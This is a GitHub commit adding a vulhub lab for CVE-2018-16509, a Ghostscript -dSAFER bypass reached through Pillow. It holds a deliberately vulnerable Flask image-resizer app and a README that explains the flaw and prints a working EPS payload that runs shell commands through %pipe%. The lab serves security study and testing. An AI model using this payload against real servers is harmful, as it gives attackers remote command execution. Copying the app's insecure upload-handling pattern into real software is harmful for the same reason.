forked from vulhub/vulhub
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
5 changed files
with
191 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
FROM vulhub/ghostscript:9.23-python | ||
|
||
LABEL maintainer="farisv <[email protected]>" | ||
|
||
RUN set -ex \ | ||
&& pip install -U pip \ | ||
&& pip install "flask==1.0.2" "Pillow==5.3.0" | ||
|
||
COPY app.py /usr/src/ | ||
|
||
WORKDIR /usr/src/ | ||
|
||
CMD ["python", "app.py"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,96 @@ | ||
# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 | ||
|
||
Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs` or `/usr/bin/gs`) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example). | ||
|
||
## Exploit | ||
|
||
You can upload [rce.jpg](rce.jpg) (a specially-crafted EPS image, not a real JPG) to execute `touch /tmp/got_rce` in the server. For proof, you can execute `docker exec [CONTAINER_ID] ls -alt /tmp`. To get `CONTAINER_ID`, you can check with `docker container ls`. To change the shell execution to other commands, you can change `touch /tmp/got_rce` directly in the `rce.jpg`. | ||
|
||
## Analysis | ||
|
||
You can refer to the explanation of vulnerability by Tavis Ormandy in [oss-security](https://seclists.org/oss-sec/2018/q3/142). | ||
|
||
You can check the source code Ghostscript wrapper of PIL/Pillow in [EPSImagePlugin.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py). | ||
|
||
This is the vulnerable code of `app.py`: | ||
|
||
```python | ||
@app.route('/', methods=['GET', 'POST']) | ||
def upload_file(): | ||
if request.method == 'POST': | ||
file = request.files.get('image', None) | ||
|
||
if not file: | ||
flash('No image found') | ||
return redirect(request.url) | ||
|
||
filename = file.filename | ||
ext = path.splitext(filename)[1] | ||
|
||
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']): | ||
flash('Invalid extension') | ||
return redirect(request.url) | ||
|
||
tmp = tempfile.mktemp("test") | ||
img_path = "{}.{}".format(tmp, ext) | ||
|
||
file.save(img_path) | ||
|
||
img = Image.open(img_path) | ||
w, h = img.size | ||
ratio = 256.0 / max(w, h) | ||
|
||
resized_img = img.resize((int(w * ratio), int(h * ratio))) | ||
resized_img.save(img_path) | ||
``` | ||
|
||
Content of uploaded file will be loaded by `img = Image.open(img_path)`. PIL will automatically detect if the image is an EPS image (example: add `%!PS-Adobe-3.0 EPSF-3.0` at the beginning of file) and will call _open() in `EpsImageFile` class in `EPSImagePlugin.py`. To avoid `raise IOError("cannot determine EPS bounding box")`, a bounding box need to be added in the file (example: `%%BoundingBox: -0 -0 100 100`). | ||
|
||
The body of EPS image will be processed by Ghostscript binary with `subprocess` as we can see in `EPSImagePlugin.py` in `Ghostscript` function. | ||
|
||
```python | ||
# Build Ghostscript command | ||
command = ["gs", | ||
"-q", # quiet mode | ||
"-g%dx%d" % size, # set output geometry (pixels) | ||
"-r%fx%f" % res, # set input DPI (dots per inch) | ||
"-dBATCH", # exit after processing | ||
"-dNOPAUSE", # don't pause between pages | ||
"-dSAFER", # safe mode | ||
"-sDEVICE=ppmraw", # ppm driver | ||
"-sOutputFile=%s" % outfile, # output file | ||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]), | ||
# adjust for image origin | ||
"-f", infile, # input file | ||
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272) | ||
] | ||
|
||
|
||
.... | ||
|
||
try: | ||
with open(os.devnull, 'w+b') as devnull: | ||
startupinfo = None | ||
if sys.platform.startswith('win'): | ||
startupinfo = subprocess.STARTUPINFO() | ||
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW | ||
subprocess.check_call(command, stdin=devnull, stdout=devnull, | ||
startupinfo=startupinfo) | ||
``` | ||
|
||
The code above is called when `load` is called in [Image.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/Image.py) so only open the image will not trigger the vulnerability. Function like `resize`, `crop`, `rotate`, and `save` will call `load` and trigger the vulnerability. | ||
|
||
Combined with POC from Tavis Ormandy, we can craft `rce.jpg` for remote shell command execution. | ||
|
||
``` | ||
%!PS-Adobe-3.0 EPSF-3.0 | ||
%%BoundingBox: -0 -0 100 100 | ||
userdict /setpagedevice undef | ||
save | ||
legal | ||
{ null restore } stopped { pop } if | ||
{ legal } stopped { pop } if | ||
restore | ||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request | ||
from os import path, unlink | ||
from PIL import Image | ||
|
||
import tempfile | ||
|
||
app = Flask(__name__) | ||
app.secret_key = "0123456789ABCDEF" | ||
|
||
@app.route('/', methods=['GET', 'POST']) | ||
def upload_file(): | ||
if request.method == 'POST': | ||
file = request.files.get('image', None) | ||
|
||
if not file: | ||
flash('No image found') | ||
return redirect(request.url) | ||
|
||
filename = file.filename | ||
ext = path.splitext(filename)[1] | ||
|
||
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']): | ||
flash('Invalid extension') | ||
return redirect(request.url) | ||
|
||
tmp = tempfile.mktemp("test") | ||
img_path = "{}.{}".format(tmp, ext) | ||
|
||
file.save(img_path) | ||
|
||
img = Image.open(img_path) | ||
w, h = img.size | ||
ratio = 256.0 / max(w, h) | ||
|
||
resized_img = img.resize((int(w * ratio), int(h * ratio))) | ||
resized_img.save(img_path) | ||
|
||
r = make_response() | ||
r.data = open(img_path, "rb").read() | ||
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename) | ||
|
||
unlink(img_path) | ||
|
||
return r | ||
|
||
return render_template_string(''' | ||
<!doctype html> | ||
<title>Image Resizer</title> | ||
<h1>Upload an Image to Resize</h1> | ||
{% with messages = get_flashed_messages() %} | ||
{% if messages %} | ||
<ul class=flashes> | ||
{% for message in messages %} | ||
<li>{{ message }}</li> | ||
{% endfor %} | ||
</ul> | ||
{% endif %} | ||
{% endwith %} | ||
<form method=post enctype=multipart/form-data> | ||
<p><input type=file name=image> | ||
<input type=submit value=Upload> | ||
</form> | ||
''') | ||
|
||
if __name__ == '__main__': | ||
app.run(threaded=True, port=8000, host="0.0.0.0") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
version: '2' | ||
services: | ||
web: | ||
build: . | ||
ports: | ||
- "8000:8000" |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.